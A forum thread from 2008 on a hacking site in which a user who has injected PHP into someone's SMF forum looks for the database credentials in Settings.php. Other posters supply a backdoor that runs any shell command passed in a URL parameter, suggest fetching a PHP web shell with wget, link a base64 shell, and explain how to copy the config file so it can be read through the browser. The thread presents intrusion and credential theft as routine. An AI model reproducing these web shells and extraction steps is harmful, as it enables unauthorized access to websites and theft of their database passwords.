Waraxe IT Security Portal
Login or Register
October 16, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 1114
Members: 0
Total: 1114
Full disclosure
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)
[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)
[0day-rubbish] Maian Pal 2.1 product image upload with no extension allow-list to PHP webshell and www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Maian Guardian 2.1 license generator projid command injection to www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Dataedo Portal 26.2.8 with Dataedo Agent 26.2.8 unrestricted scheduler job-type deserialization to Agent-host command execution (8.1)
[0day-rubbish] CloudPanel 2.5.4-3 site-settings rootDirectory nginx virtual-host injection to host root code execution (8.8)
[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)
[0day-rubbish] Abyss Web Server X1 2.16.22.0 first-run console credential takeover to configuration-write log-as-CGI command execution (7.5)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Shell commands injection -> Php-Injection: Can't find config files Goto page 1, 2Next
Post new topicReply to topic View previous topic :: View next topic
Php-Injection: Can't find config files
PostPosted: Tue Dec 09, 2008 7:11 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




I've got a shell with system()... The site has smf forum and normally there is a configuration file called Settings.php that has db user and pass, I found this by dll the source. So you would think this:

Code:
<? @system("ls /blah/blah/forum/"); ?>

It's there...so

<? @system("cat /blah/blah/forum/Settings.php"); ?>


but this file is showing up empty... So I don't understand where the db connection is made. I also tried this:

Code:

<? @system("find / -name '*.conf*'"); ?>
and
<? @system("find / -name '*Settings*'"); ?>


No success of finding db connection
Confused

Any ideas? Wink
View user's profile Send private message Yahoo Messenger
PostPosted: Tue Dec 09, 2008 7:33 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




prolly its chmod permissions or system() commands are disabled for that user.

Try a better code use this...

btw im guessing ur editing the code in the index.php file from the admin theme manager.


Code:

<?php
if(isset($_GET['lol'])){echo "<h1>lol</h1><pre>"; system($_GET['lol']);exit;}
?>


using this...
ex. http://somesite.com/index.php?lol=command (like wget,cat,ls -la,etc)
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue Dec 09, 2008 7:56 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Look in the source of login.php.
View user's profile Send private message
PostPosted: Tue Dec 09, 2008 8:47 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




@capt
I'm not having a problem with system() function. My code is working fine but thanks for the reply.

@Pexli
Thanks, I will try login.php Smile
View user's profile Send private message Yahoo Messenger
PostPosted: Tue Dec 09, 2008 10:55 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




have u tried wgeting a php shell then? Be easier to read and have much more control over what you wanna do.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue Dec 09, 2008 11:30 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




I'm not able to check to see if login.php will work because the creditials for the login isn't on this pc.

I did upload a b64 shell and it crashed the forum and was put back up later in the day. Not sure why this happened but I don't want it to happen again Laughing
http://thedefaced.org/shells/b64.txt
View user's profile Send private message Yahoo Messenger
PostPosted: Tue Dec 09, 2008 11:59 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




do you have msn? I could help you upload a working shell and you can get what you want.
add me if you would like sir_boxhead@hotmail.com
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Wed Dec 10, 2008 5:04 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




@Pexli
This looks to be useful in LogInOut.php
Code:

$context['default_username'] = &$_REQUEST['u'];
$context['default_password'] = '';


I see it in the source of SMF but not in the one on the server

Rolling Eyes

Where is this db connection made? Mad
View user's profile Send private message Yahoo Messenger
PostPosted: Wed Dec 10, 2008 5:57 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Try to read files like that

<? @readfile(/bla/bla/bla/file.php'); ?>
View user's profile Send private message
PostPosted: Wed Dec 10, 2008 6:28 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




@Pexli
Thanks for reply. I'm getting the same output with readfile() as cat in system() Confused

This is the code at the top of the page:
Code:

'\'' . $user_settings['passwordSalt'] . '\'')); setLoginCookie($timeout - time(), $ID_MEMBER, sha1($user_settings['passwd']


So this part of the source seems to be missing or deleted?
Code:

$context['page_title'] = $txt[34];
$context['default_username'] = &$_REQUEST['u'];
$context['default_password'] = '';
$context['never_expire'] = false;
View user's profile Send private message Yahoo Messenger
PostPosted: Wed Dec 10, 2008 10:49 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




How about listing of all files and dir's?
View user's profile Send private message
PostPosted: Thu Dec 11, 2008 1:49 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




I did this with, "ls -lR" and I see everything in blah/blah/blah/forum/. This is what you mean?
View user's profile Send private message Yahoo Messenger
PostPosted: Thu Dec 11, 2008 8:43 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




-AO- wrote:
I did this with, "ls -lR" and I see everything in blah/blah/blah/forum/. This is what you mean?


cp /bla/bla/bla/forum/Settings.php /bla/bla/bla/forum/somefile.txt

...and read settings via browser http://forum.com/forum/somefile.txt
View user's profile Send private message
PostPosted: Thu Dec 11, 2008 10:11 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




Code:
cp /bla/bla/bla/forum/Settings.php /bla/bla/bla/forum/somefile.txt


This worked, I can read the copied Settings.php file. Must have been some protection from reading it. Smile

Thanks a lot pexli Wink
View user's profile Send private message Yahoo Messenger
PostPosted: Thu Dec 11, 2008 11:19 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




-AO- wrote:
Code:
cp /bla/bla/bla/forum/Settings.php /bla/bla/bla/forum/somefile.txt


This worked, I can read the copied Settings.php file. Must have been some protection from reading it. Smile

Thanks a lot pexli Wink


Good luck dude.Smile
View user's profile Send private message
Php-Injection: Can't find config files
www.waraxe.us Forum Index -> Shell commands injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 2
Goto page 1, 2Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.044 Seconds